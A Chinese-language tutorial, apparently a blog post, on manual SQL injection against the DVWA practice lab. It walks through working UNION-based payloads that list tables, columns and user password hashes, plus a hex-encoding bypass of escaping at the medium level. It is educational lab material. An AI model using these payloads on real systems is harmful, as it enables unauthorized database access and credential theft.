SQL Injection(SQL注入)概念

就是通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。具体来说,它是利用现有应用程序,将(恶意)的SQL命令注入到后台数据库引擎执行的能力,它可以通过在Web表单中输入(恶意)SQL语句得到一个存在安全漏洞的网站上的数据库,而不是按照设计者意图去执行SQL语句。

SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。

手工注入常规思路

1.判断是否存在注入,注入是字符型还是数字型

2.猜解SQL查询语句中的字段数

3.确定回显位置

4.获取当前数据库

5.获取数据库中的表

6.获取表中的字段名

7.得到数据

low

(1)判断是否存在sql注入,输入1',返回错误

判断存在sql注入:当输入1',返回错误,说明页面没有对1'进行过滤,即攻击者可以对数据库进行操作。

   输入1,回显正常,确认存在sql注入。

 (2)猜解SQL查询语句中的字段数

1' order by 2#

1' order by 3#

 

(3)确定回显位置(为第二个位置)

1' union select 1,2#

 (4)获取当前数据库。dvwa

1' union select 1,database()#

(5)获取数据库中的表

1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

 

(6) 获取表中的字段名

1' union select 1, group_concat(column_name) from information_schema.columns where table_name='users'#

 

(7)获取字段中的数据

1' union select user,password from users#

Medium

在level为medium时,网页通过下拉表单的格式提交数据。

从页面源代码中可以发现,代码不是get型注入,应该是把提交的数据存放到post数据中了。

 这时需要对其注入sql语句,则最好采用火狐浏览器所带有的插件hacker。

(1)构造Post data :id=4&Submit=Submit。网页可以回显id=4的字段。

(2)猜解SQL查询语句中的字段数。

id=1 order by 2 &Submit=Submit //正常回显
id=1 order by 3 &Submit=Submit  //报错

(3)确定回显位置。回显位置为2。

id=1 union select 1,2 &Submit=Submit

(4)获取数据库名

id=1 union select 1,database() &Submit=Submit

(5)获取表名。

id=4 union select 1, group_concat(table_name) from information_scheme.table where table_schema = database()&Submit=Submit

 

该方法行不通,需要转变思路,利用burpsuite抓包,修改数据包内容,得到网页的回显。

在下图详细介绍了,burpsuite的修改数据包的内容,所得到网页的回显。

标记为1:更改GET==>POST

标记为2:增加 Content-Type: application/x-www-form-urlencoded,这条记录若不添加,会造成网页没有任何回显。

标记为3:数据包内容(即构造的SQL语句)

标记为4:回显的内容。

 后续SQL注入的步骤修改的地方为标记3。

对于数据库5.0以上的版本,存在information_schema表,这张数据表保存了 Mysql 服务器所有数据库的信息,如数据库名,数据库的表等信息;

查找数据库DVWA中有多少表。

id=2 union select 1,table_name from information_schema.tables where table_schema=(select database())#&Submit=Submit

 回显内容:数据库dvwa中存在两个表user和guestbook

查看表中的字段

id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#

网页返回错误

 查看源代码

 $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id); //mysqli_real_escape_string() 函数转义在 SQL 语句中使用的字符串中的特殊字符。

因此当SQL语句中‘’,会直接让其转义,并不能对数据库的内容进行修改。所以需要对users进行编码;user转换为16进制为0x7573657273。

id=1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#&Submit=Submit

 user表中的字段有user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS

 获取关键数据

最后得到的密码是16进制数据,我们需要将其处理后使用。

id=1 union select user,password from users#&Submit=Submit

 

High

SQLMAP

实验需要再linux系统中实现,因此,首先需要再linux系统中进入DVWA平台,在浏览器中输入:http://靶机IP地址/DVWA-master/setup.php.

Logo

瓜分20万奖金 获得内推名额 丰厚实物奖励 易参与易上手

更多推荐